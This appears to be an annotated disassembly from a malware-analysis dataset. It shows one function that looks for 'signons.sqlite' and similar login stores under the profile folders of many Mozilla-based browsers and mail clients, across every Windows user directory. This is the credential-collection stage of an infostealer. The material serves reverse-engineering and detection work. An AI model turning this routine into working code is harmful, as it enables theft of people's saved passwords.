Function at 0x40dd6e
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1558
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x207
lea eax, [ebp - 0x22b]
mov dword [ebp - 0x1554], ecx
push 0
push eax
mov byte [ebp - 0x22c], 0
call fcn.006390b0
mov esi, 0x6c7af0
lea edi, [ebp - 0x14]
add esp, 8
xor edx, edx
movsd dword es:[edi], dword [esi]
push 6
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str.signons.sqlite
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00404481
mov esi, dword [ebp + 8]
mov bl, al
mov byte [ebp - 0x154d], bl
pop ecx
cmp esi, 8
jne 0x40dde9
mov ecx, str.MozillaSeaMonkeyProfiles
jmp 0x40df0a
cmp esi, 0x17
jne 0x40ddf8
mov ecx, str.WaterfoxProfiles
jmp 0x40df0a
cmp esi, 0x1b
jne 0x40de07
mov ecx, str.ComodoIceDragonProfiles
jmp 0x40df0a
cmp esi, 0x20
jne 0x40de16
mov ecx, str.Moonchild_ProductionsPale_MoonProfiles
jmp 0x40df0a
cmp esi, 0x28
jne 0x40de25
mov ecx, str.NETGATE_TechnologiesBlackHawkProfiles
jmp 0x40df0a
cmp esi, 0x29
jne 0x40de34
mov ecx, str.8pecxstudiosCyberfoxProfiles
jmp 0x40df0a
cmp esi, 0x2a
jne 0x40de43
mov ecx, str.K_Meleon
jmp 0x40df0a
cmp esi, 0x2b
jne 0x40de52
mov ecx, str.MozillaicecatProfiles
jmp 0x40df0a
cmp esi, 0x3c
jne 0x40de61
mov ecx, str.FlashPeakSlimBrowserProfiles
jmp 0x40df0a
cmp esi, 0x44
jne 0x40de70
mov ecx, str.Moonchild_ProductionsBasiliskProfiles
jmp 0x40df0a
cmp esi, 0x4a
jne 0x40de7f
mov ecx, str.CLIQZProfiles
jmp 0x40df0a
cmp esi, 0x4c
jne 0x40de8b
mov ecx, str.BitTubeBitTubeBrowserProfiles
jmp 0x40df0a
cmp esi, 0x5c
jne 0x40de97
mov ecx, str.FloorpProfiles
jmp 0x40df0a
cmp esi, 0x5e
jne 0x40dea3
mov ecx, str.ArtistScopeArtisBrowserProfiles
jmp 0x40df0a
cmp esi, 0x5f
jne 0x40deaf
mov ecx, str.LibrewolfProfiles
jmp 0x40df0a
cmp esi, 0xfd
jne 0x40debe
mov ecx, str.ThunderbirdProfiles
jmp 0x40df0a
cmp esi, 0x104
jne 0x40decd
mov ecx, str.PostboxAppProfiles
jmp 0x40df0a
cmp esi, 0x10b
jne 0x40dedc
mov ecx, str.FossaMailProfiles
jmp 0x40df0a
cmp esi, 0x74
jne 0x40dee8
mov ecx, str.InstantbirdProfiles
jmp 0x40df0a
cmp esi, 0x10e
jne 0x40def7
mov ecx, str.Athenian200EpyrusProfiles
jmp 0x40df0a
cmp esi, 0x10f
mov ecx, str.Binary_OutcastInterlinkProfiles
mov eax, str.MozillaFirefoxProfiles
cmovne ecx, eax
push ecx
lea eax, [ebp - 0x714]
push 0x100
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0xafc]
push eax
xor eax, eax
push eax
push eax
push 0x28
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x40df42
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40e203
lea eax, [ebp - 0xafc]
push 0x5c
push eax
call fcn.00639770
pop ecx
pop ecx
test eax, eax
je 0x40e203
mov byte [eax], 0
lea eax, [ebp - 0xafc]
push eax
push 0x6c7d80
lea eax, [ebp - 0xee4]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x10
lea eax, [ebp - 0x140c]
push eax
lea eax, [ebp - 0xee4]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
mov dword [ebp - 0x1558], edi
cmp edi, 0xffffffff
je 0x40e203
test byte [ebp - 0x140c], 0x10
je 0x40e1e6
cmp byte [ebp - 0x13e0], 0x2e
je 0x40e1e6
lea eax, [ebp - 0x13e0]
push str.UpdatusUser
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
je 0x40e1e6
lea eax, [ebp - 0x13e0]
push str.All_Users
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
je 0x40e1e6
lea eax, [ebp - 0x13e0]
push str.Public
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
je 0x40e1e6
lea eax, [ebp - 0x13e0]
push str.Default
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
je 0x40e1e6
lea eax, [ebp - 0x13e0]
push str.Default_User
push eax
call fcn.0064fd85
pop ecx
pop ecx
test eax, eax
je 0x40e1e6
lea eax, [ebp - 0x714]
test bl, bl
push eax
lea eax, [ebp - 0x13e0]
mov ecx, str._s_sAppDataRoaming_s
push eax
lea eax, [ebp - 0xafc]
mov ebx, 0x3e8
push eax
mov eax, str._s_sApplication_Data_s
cmovne eax, ecx
push eax
lea eax, [ebp - 0x22c]
push ebx
push eax
call fcn.00402e0a
lea eax, [ebp - 0x22c]
push eax
push 0x6c7d80
lea eax, [ebp - 0x12cc]
push ebx
push eax
call fcn.00402e0a
add esp, 0x28
lea eax, [ebp - 0x154c]
push eax
lea eax, [ebp - 0x12cc]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40e1e0
mov edi, dword [ebp - 0x1554]
test byte [ebp - 0x154c], 0x10
je 0x40e1bd
cmp byte [ebp - 0x1520], 0x2e
je 0x40e1bd
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1520]
push eax
lea eax, [ebp - 0x22c]
push eax
push 0x6c63f4
lea eax, [ebp - 0x614]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x18
lea ecx, [ebp - 0x614]
call fcn.00405670
test eax, eax
je 0x40e149
lea eax, [ebp - 0x1520]
push eax
lea eax, [ebp - 0x22c]
push eax
push 0x6c643c
lea eax, [ebp - 0x614]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x614]
mov ecx, edi
push 2
push 0
push eax
push esi
call fcn.0040d9fe
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1520]
push eax
lea eax, [ebp - 0x22c]
push eax
push 0x6c63f4
lea eax, [ebp - 0x614]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x18
lea ecx, [ebp - 0x614]
call fcn.00405670
test eax, eax
je 0x40e1bd
lea eax, [ebp - 0x1520]
push eax
lea eax, [ebp - 0x22c]
push eax
push 0x6c643c
lea eax, [ebp - 0x614]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x614]
mov ecx, edi
push 3
push 0
push eax
push esi
call fcn.0040d9fe
lea eax, [ebp - 0x154c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40e0bb
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [ebp - 0x1558]
mov bl, byte [ebp - 0x154d]
lea eax, [ebp - 0x140c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40dfa2
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4